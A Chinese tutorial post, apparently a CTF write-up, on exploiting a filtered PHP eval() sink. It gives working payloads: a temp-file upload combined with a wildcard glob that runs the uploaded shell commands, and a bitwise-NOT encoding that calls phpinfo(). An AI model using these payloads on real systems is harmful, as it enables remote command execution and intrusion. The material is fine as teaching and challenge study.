当前位置: 首页 > news >正文

手机 网站建设网页游戏服务器搭建

手机 网站建设,网页游戏服务器搭建,网站设计的经营范围,做问卷调查的网站目录 对于php5以上首先要解决的问题有 解决技巧 1.code长度小于35位 2.没有字母、数字、_ 、$ 3.怎么把文件放进服务器 4.怎么执行文件里面的内容 1.执行Linux命令 2.执行文件里面的shell命令 5.构造完整的code参数 6.我们还可以通过修改文件里面shell命令,…

目录

对于php5以上首先要解决的问题有

解决技巧

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

        1.执行Linux命令

        2.执行文件里面的shell命令

5.构造完整的code参数

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7可以用取反绕过的技巧( ~ 是取反的意思)


<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

这个代码怎么利用

对于php5以上首先要解决的问题有

1.code长度小于35位

2.没有字母、数字、_ 、$

3.怎么把文件放进服务器

4.怎么执行文件里面的内容

解决技巧

1.code长度小于35位

这个问题和整体思路有关,要和后面的一起考虑

2.没有字母、数字、_ 、$

可以不用字母数字,Linux系统文件名支持通配符方式查找

比如

* 代表任意长度的字符

?代表任意一个长度的字符

[ ] 匹配括号里面的任意一个

这道题我们要找文件,不能用字母,数字等,因为我们要找的文件有个特点是在tmp下,9位,最后一位有几率是大写字母,所以我们可以用通配符和ascii码结合一下,写出payload

/???/????????[@-[] 

因为最后一位是大写,所以可以用@-[ ,因为@到[ 的ASCII码正好刚刚好包含了大写字母

3.怎么把文件放进服务器

写一个文件上传的html页面,作用是用burp工具拿取文件上传的请求标准格式和里面特有的标记

<!DOCTYPE html>
<html lang="zh">
<head>  <meta charset="UTF-8">  <title>文件上传示例</title>  
</head>
<body><form action="upload.php" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" name="file" id="file" required><input type="submit" value="上传"></form>
</body>
</html>

在上传的文件1.txt里面写上#!bin/bash

                                           id          

复制如图的请求标识,备用      

4.怎么执行文件里面的内容

在发送上一步文件上传请求后,Linux会在tmp下生成一个临时文件,我们要运行并执行文件里面的内容

        1.执行Linux命令

                在Linux里面``反引号可以执行命令,所以我们用

                `/???/????????[@-[]`

                来执行查找临时文件的命令,

        2.执行文件里面的shell命令

               在文件路径的前面加上   .  可以执行文件里面的命令

        所以payload是

                `. /???/????????[@-[]`

5.构造完整的code参数

        code=?><?=`. /???/????????[@-[]`;?>

<?是php的开头,为什么前面还要加一个?>呢

因为这个是php官方要求的,目的是为了防止前面的代码进行干扰,就用?>进行闭合,

然后再写我们的php代码。

如图所示,post请求是可以把get请求参数和post请求一起进行传递的

整个过程是,post请求把带有shell命令的临时文件生成,然后get请求传递code值放入eval()里面,

然后执行查找临时文件的命令,找到了临时文件,然后用 . 来执行文件里面的显示当前用户id的命令,最后,用户id信息就会显示在响应包里面

6.我们还可以通过修改文件里面shell命令,执行不同的命令

对于php7还可以用取反绕过的技巧( ~ 是取反的意思)

PHP7允许用($a)();这样的方法来执行动态函数,所以我们可以想到直接(phpinfo)();

但是由于过滤了字母,不能直接写phpinfo,可以进行取反

把phpinfo用php代码进行取反,得到

%8F%97%8F%96%91%99%90

取反绕过了以后再取反一次,就回到了我们的phpinfo

所以可以构造payload为

code=(~%8F%97%8F%96%91%99%90)();

http://www.yayakq.cn/news/528408/

相关文章:

  • 安徽网站建设SEO优化制作设计公司石狮网页设计
  • 潍坊建设gc局网站建立企业官方网站
  • 保定企业网站建站模板广东粤网建设有限公司
  • 微信微网站制作教程企业如何应用网站的
  • 建站优化办事效率高wordpress换域名 301
  • 济南公司快速建站做服装设计看哪些网站
  • 张家界市建设网站WordPress数据库经常要重启
  • 建网站推广效果怎么样镇江网站制作公司
  • 汕头seo网站排名网站建设要准备些什么
  • 自己建设网站需要什么厦门房产网
  • wordpress站酷主题网站建设询价公告
  • 清华大学精品课程网站网站两侧对联广告图片
  • 温州微网站制作电话360全景预览wordpress插件
  • 网站开发出来为什么加载特别慢旅游景点网页
  • 镇江网站搜索引擎优化做网站过程用文件
  • 网站生成软件oa办公系统网页
  • 东莞天助网的网站中国民航机场建设集团公司网站
  • 卫生网站建设方案远程wordpress数据库备份
  • 免费国外医疗静态网站模板下载民营建筑网站
  • 做一个自己的免费网站dooor网站
  • 三合一网站指的是什么房屋出租网站模板
  • 图书网站建设实训总结国外网站阻止国内访问怎么做
  • 网站建设培训方案江门市网站建设公司
  • 网站建设推广话术群晖做自己的电影网站
  • 做购物网站哪种服务器好哪里有做app软件开发
  • 网站都有服务器吗seo点击工具
  • 网站突然不被百度收录高级seo优化招聘
  • 教育培训网站制作网页设计与制作期末作业源代码
  • 中山 家居 骏域网站建设专家优化建议
  • 小企业网站建设5000块贵吗商务网站的建设